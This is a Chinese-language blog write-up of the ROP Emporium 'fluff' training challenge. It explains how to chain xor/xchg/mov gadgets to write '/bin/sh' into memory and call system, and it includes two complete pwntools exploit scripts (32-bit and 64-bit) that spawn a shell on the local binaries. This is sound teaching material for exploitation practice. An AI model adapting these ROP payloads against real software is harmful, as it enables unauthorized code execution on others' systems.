ROP Emporium の fluff

Introduction

ROP Emporium训练5:fluff的解析。

fluff32

Step 1

程序正常运行截图:

checksec:

Step 2

依然是pwnme中fgets函数存在溢出:

虽然程序中有system函数,但是没有可利用的字符串:

所以需要向内存中写入需要的字符串,再找一下可以实现目标的指令段:

也没有可以利用的指令段,似乎陷入死局?

Step 3

其实还是有一条路可以走的,在XMAN level3 の Write-Up中我们通过泄露writes函数在got表上的地址得到libc的基地址,然后通过libc中的字符串getshell。这里我们依然可以使用ret2libc技术,泄露puts函数在got表上的地址,获取libc的基地址,然后用这个基地址加上’/bin/sh’在libc中的offset,调用system函数getshell。

但是根据题目的叙述,似乎是在让我们尝试强行写入需要的字符串,那我们只能回到程序,再仔细的找找可用的gadget了。

不妨逆向思维倒推一下,我们需要写内存的操作,那么肯定要mov [reg],reg;ret的结构:

这个函数是可以实现,首先考虑控制写入的地址,那么往前推我们需要控制ecx寄存器,给ecx赋值:

xchg指令是交换两个寄存器的值,那么从上面的函数中截取部分是可以实现给ecx赋值的,但是我们就要改为控制edx寄存器:

  • 这段指令会将edx和ebx异或的值放入edx。所以我们需要pop edx;xor ebx,ebx;或者pop ebx;xor edx,edx;(A异或0仍为A)

所以还需要pop ebx;ret:

完美,前半部分控制内存地址的ropchain已经补充完成。下面是控制字符串的写入,也是从sub_8048692函数开始,倒推需要控制edx。

依然没有直接pop edx的指令,只能选择间接的xor edx,ebx;

和上面一样需要pop edx;xor ebx,ebx;或者pop ebx;xor edx,edx;

于是回到上面的sub_8048670函数,最后依然是pop ebx;ret;

最终实现控制写入的字符串,下面做一个草图帮助一下理解以及EXP的编写:

Step 4

最后就是EXP的编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
* from pwn import *
*
* sh = process('./fluff32')
* elf = ELF('./fluff32')
*
* pop_ebx_addr = 0x080483e1
* xor_edx_edx_addr = 0x08048671
* xor_edx_ebx_addr = 0x0804867b
* xchg_addr = 0x08048689
* mov_addr = 0x08048693
*
* bss_addr = 0x0804a040
* sys_addr = elf.symbols['system']
*
* def mov_data(string, addr):
* payload = p32(pop_ebx_addr) + p32(addr)
* payload += p32(xor_edx_edx_addr) + p32(0xdeadbeef)
* payload += p32(xor_edx_ebx_addr) + p32(0xdeadbeef)
* payload += p32(xchg_addr) + p32(0xdeadbeef)
* payload += p32(pop_ebx_addr) + string
* payload += p32(xor_edx_edx_addr) + p32(0xdeadbeef)
* payload += p32(xor_edx_ebx_addr) + p32(0xdeadbeef)
* payload += p32(mov_addr) + p32(0xdeadbeef) + p32(0)
* return payload
*
* payload = 'a' * (0x28 + 0x4)
* payload += mov_data('/bin', bss_addr)
* payload += mov_data('/sh\x00', bss_addr + 4)
* payload += p32(sys_addr) + p32(0xdeadbeef) + p32(bss_addr)
*
* sh.recvuntil('>')
* sh.sendline(payload)
*
* sh.interactive()
* sh.close()

EXP运行结果:

fluff

像32位程序一样寻找完整的ROP Chain:

加上控制r12寄存器的指令段:

以及调用system函数传参的时候需要控制rdi寄存器:

万事俱备,直接给出EXP脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
* from pwn import *
*
* sh = process('./fluff')
* elf = ELF('./fluff')
*
* bss_addr = 0x601060
* sys_addr = elf.symbols['system']
*
* mov_addr = 0x40084e
* xchg_addr = 0x400840
* xor_r11_r12_addr = 0x40082f
* xor_r11_r11_addr = 0x400822
* pop_addr = 0x4008bc
*
* pop_rdi_addr = 0x4008c3
*
* payload = 'a' * (0x20 + 0x8)
* payload += p64(pop_addr) + p64(bss_addr) + p64(0) + p64(0) + p64(0)
* payload += p64(xor_r11_r11_addr) + p64(0)
* payload += p64(xor_r11_r12_addr) + p64(0)
* payload += p64(xchg_addr) + p64(0)
*
* payload += p64(pop_addr) + '/bin/sh\x00' + p64(0) + p64(0) + p64(0)
* payload += p64(xor_r11_r11_addr) + p64(0)
* payload += p64(xor_r11_r12_addr) + p64(0)
* payload += p64(mov_addr) + p64(0) + p64(0)
*
* payload += p64(pop_rdi_addr) + p64(bss_addr)
*
* payload += p64(sys_addr)
*
* sh.recvuntil('>')
* sh.sendline(payload)
*
* sh.interactive()
* sh.close()

EXP运行结果:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/06/10/fluff/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog